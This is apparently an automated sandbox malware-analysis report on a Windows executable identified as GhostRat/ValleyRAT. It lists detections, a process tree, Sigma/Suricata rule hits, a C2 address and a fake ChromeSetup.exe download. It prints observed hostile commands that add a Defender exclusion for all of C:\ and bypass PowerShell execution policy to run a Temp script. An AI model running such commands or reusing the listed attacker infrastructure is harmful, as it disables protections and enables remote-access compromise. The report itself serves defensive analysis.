Edit tour

Windows Analysis Report
FIWszl1A8l.exe

Overview

General Information

Sample name:	FIWszl1A8l.exe renamed because original name is a hash value
Original sample name:	f1c0a349ef488c9d2fde3dd7f3c497bd.exe
Analysis ID:	1587335
MD5:	f1c0a349ef488c9d2fde3dd7f3c497bd
SHA1:	20eb1d3d000be4d3c06c88a54eeb57fb01b054d5
SHA256:	38e825894f85ed654a2badb58f28b334597d2662952d9a5ec6918bd8c8b7335a
Tags:	exeValleyRATuser-abuse_ch
Infos:

Detection

GhostRat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (overwrites its own PE header)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GhostRat

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Connects to many ports of the same IP (likely port scanning)

Contains functionality to capture and log keystrokes

Contains functionality to inject code into remote processes

Contains functionality to inject threads in other processes

Loading BitLocker PowerShell Module

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks for available system drives (often done to infect USB drives)

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to clear windows event logs (to hide its activities)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after accessing registry keys)

Found potential string decryption / allocating functions

Installs a global mouse hook

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Powershell Defender Exclusion

Sleep loop found (likely to delay execution)

Stores large binary data to the registry

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

FIWszl1A8l.exe (PID: 7528 cmdline: "C:\Users\user\Desktop\FIWszl1A8l.exe" MD5: F1C0A349EF488C9D2FDE3DD7F3C497BD)

cmd.exe (PID: 7628 cmdline: "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7636 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7680 cmdline: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

WmiPrvSE.exe (PID: 7792 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

FIWszl1A8l.exe (PID: 7852 cmdline: "C:\Users\user\AppData\Roaming\FIWszl1A8l.exe" MD5: F1C0A349EF488C9D2FDE3DD7F3C497BD)

cmd.exe (PID: 2416 cmdline: cmd.exe /C powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7604 cmdline: powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 2452 cmdline: cmd.exe /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7648 cmdline: powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1 MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 7924 cmdline: cmd.exe /C powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7980 cmdline: powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 8076 cmdline: "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8120 cmdline: powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1 MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cleanup

Malware Configuration

Threatname: GhostRat

{"C2 url": "8.217.85.20:9093"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000006.00000003.2570644353.0000000000A3C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000006.00000003.3537866824.0000000004173000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000006.00000003.3578743810.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000006.00000003.1775024265.0000000004111000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000006.00000002.3791271776.0000000004310000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000006.00000002.3789481950.0000000002FD0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000006.00000003.2571249345.0000000003F9B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000006.00000003.1743428014.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000006.00000002.3787310787.0000000002820000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000006.00000003.1775024265.0000000004142000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000006.00000003.2529901329.00000000041B4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
00000006.00000002.3786854154.00000000027E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
Process Memory Space: FIWszl1A8l.exe PID: 7852	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author
6.2.FIWszl1A8l.exe.27e1004.2.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
6.2.FIWszl1A8l.exe.43105eb.6.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
6.3.FIWszl1A8l.exe.41b486b.4.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
6.2.FIWszl1A8l.exe.28205bf.3.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
6.2.FIWszl1A8l.exe.27e1004.2.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
6.2.FIWszl1A8l.exe.2fd1053.5.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
6.3.FIWszl1A8l.exe.4142c4b.3.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
6.3.FIWszl1A8l.exe.a5ccab.1.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
6.2.FIWszl1A8l.exe.2d00000.4.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
6.3.FIWszl1A8l.exe.a3c1eb.5.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
6.2.FIWszl1A8l.exe.2d00000.4.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
6.2.FIWszl1A8l.exe.2fd1053.5.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
6.2.FIWszl1A8l.exe.43105eb.6.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
6.3.FIWszl1A8l.exe.4173e13.7.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
6.3.FIWszl1A8l.exe.a5ccab.1.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
6.3.FIWszl1A8l.exe.3fa4ebb.8.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
6.3.FIWszl1A8l.exe.4173e13.7.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
6.2.FIWszl1A8l.exe.28205bf.3.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
6.3.FIWszl1A8l.exe.a2b043.0.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
6.3.FIWszl1A8l.exe.3fa4ebb.8.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
6.3.FIWszl1A8l.exe.a3c1eb.5.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
6.3.FIWszl1A8l.exe.41b486b.4.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
6.3.FIWszl1A8l.exe.4142c4b.3.raw.unpack	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security
Click to see the 18 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine: "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\FIWszl1A8l.exe", ParentImage: C:\Users\user\Desktop\FIWszl1A8l.exe, ParentProcessId: 7528, ParentProcessName: FIWszl1A8l.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'", ProcessId: 7628, ProcessName: cmd.exe

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1, CommandLine: "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\FIWszl1A8l.exe", ParentImage: C:\Users\user\Desktop\FIWszl1A8l.exe, ParentProcessId: 7528, ParentProcessName: FIWszl1A8l.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1, ProcessId: 8076, ProcessName: cmd.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1, CommandLine: powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 8076, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\\updated.ps1, ProcessId: 8120, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7628, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'", ProcessId: 7680, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /C powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7628, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'", ProcessId: 7680, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE Anonymous RAT CnC Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T07:52:36.994962+0100	2052875	1	A Network Trojan was detected	192.168.2.9	49931	8.217.85.20	9091	TCP
2025-01-10T07:54:11.167711+0100	2052875	1	A Network Trojan was detected	192.168.2.9	49984	8.217.85.20	9092	TCP
2025-01-10T07:55:51.459265+0100	2052875	1	A Network Trojan was detected	192.168.2.9	49986	8.217.85.20	9092	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 6.2.FIWszl1A8l.exe.28205bf.3.raw.unpack

Malware Configuration Extractor: GhostRat {"C2 url": "8.217.85.20:9093"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe

ReversingLabs: Detection: 31%

Multi AV Scanner detection for submitted file

Source: FIWszl1A8l.exe	Virustotal: Detection: 45%			Perma Link
Source: FIWszl1A8l.exe	ReversingLabs: Detection: 31%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\FIWszl1A8l.exe

Unpacked PE file: 0.2.FIWszl1A8l.exe.400000.0.unpack

Source: FIWszl1A8l.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown

HTTPS traffic detected: 47.79.66.76:443 -> 192.168.2.9:49751 version: TLS 1.2

Source: FIWszl1A8l.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: UpdaterSetup.exe.pdb source: ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbBQ source: powershell.exe, 0000000D.00000002.1442464615.0000000006FC5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbw source: powershell.exe, 0000000D.00000002.1442901248.0000000007013000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 0000000D.00000002.1416194201.0000000002A77000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \Release\Code_Shellcode.pdb source: FIWszl1A8l.exe, FIWszl1A8l.exe, 00000000.00000002.1734162605.00000000008D0000.00000040.00001000.00020000.00000000.sdmp, FIWszl1A8l.exe, 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: \Release\Code_Shellcode.pdb,''GCTL source: FIWszl1A8l.exe, 00000000.00000002.1734162605.00000000008D0000.00000040.00001000.00020000.00000000.sdmp, FIWszl1A8l.exe, 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbl source: powershell.exe, 0000000D.00000002.1442901248.0000000007013000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: UpdaterSetup.exe.pdbP source: ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr
Source:	Binary string: updater.exe.pdb source: ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr
Source:	Binary string: updater.exe.pdbP source: ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	File opened: z:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	File opened: x:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	File opened: v:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	File opened: t:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	File opened: r:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	File opened: p:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	File opened: n:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	File opened: l:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	File opened: j:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	File opened: h:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	File opened: f:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	File opened: b:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	File opened: y:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	File opened: w:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	File opened: u:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	File opened: s:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	File opened: q:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	File opened: o:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	File opened: m:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	File opened: k:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	File opened: i:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	File opened: g:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	File opened: e:	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: c:
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	File opened: [:	Jump to behavior

Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe

Code function: 6_2_02D080F0 wsprintfW,GetLogicalDriveStringsW,lstrcmpiW,lstrcmpiW,QueryDosDeviceW,lstrlenW,__wcsnicmp,lstrcpyW,lstrcpyW,lstrcatW,

6_2_02D080F0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2052875 - Severity 1 - ET MALWARE Anonymous RAT CnC Checkin : 192.168.2.9:49931 -> 8.217.85.20:9091
Source: Network traffic	Suricata IDS: 2052875 - Severity 1 - ET MALWARE Anonymous RAT CnC Checkin : 192.168.2.9:49984 -> 8.217.85.20:9092
Source: Network traffic	Suricata IDS: 2052875 - Severity 1 - ET MALWARE Anonymous RAT CnC Checkin : 192.168.2.9:49986 -> 8.217.85.20:9092

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 8.217.85.20:9093

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 8.217.85.20 ports 18852,8853,9092,3,5,9091,8

Source: global traffic

TCP traffic: 192.168.2.9:49715 -> 8.217.85.20:8853

Source: Joe Sandbox View

ASN Name: CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20
Source: unknown	TCP traffic detected without corresponding DNS query: 8.217.85.20

Source: C:\Users\user\Desktop\FIWszl1A8l.exe

Code function: 0_2_10002090 InternetOpenA,InternetOpenUrlA,fopen,HttpQueryInfoW,SendMessageW,InternetReadFile,fwrite,SendMessageW,fclose,InternetCloseHandle,InternetCloseHandle,GetParent,ShowWindow,WaitForSingleObject,CoInitializeEx,CoCreateInstance,Sleep,Sleep,exit,

0_2_10002090

Source: global traffic

HTTP traffic detected: GET /ChromeSetup.exe HTTP/1.1User-Agent: URLDownloaderHost: jdoigshetligsndglsdrjktg.oss-cn-hongkong.aliyuncs.comCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: jdoigshetligsndglsdrjktg.oss-cn-hongkong.aliyuncs.com

Source: ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	String found in binary or memory: http://.css
Source: ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	String found in binary or memory: http://.jpg
Source: FIWszl1A8l.exe, 00000000.00000002.1734717265.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp, ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: FIWszl1A8l.exe, 00000000.00000002.1734717265.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp, ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: FIWszl1A8l.exe, 00000000.00000002.1734717265.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp, ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: FIWszl1A8l.exe, 00000000.00000002.1734717265.0000000000A4C000.00000004.00000020.00020000.00000000.sdmp, ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: FIWszl1A8l.exe, FIWszl1A8l.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: FIWszl1A8l.exe, FIWszl1A8l.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
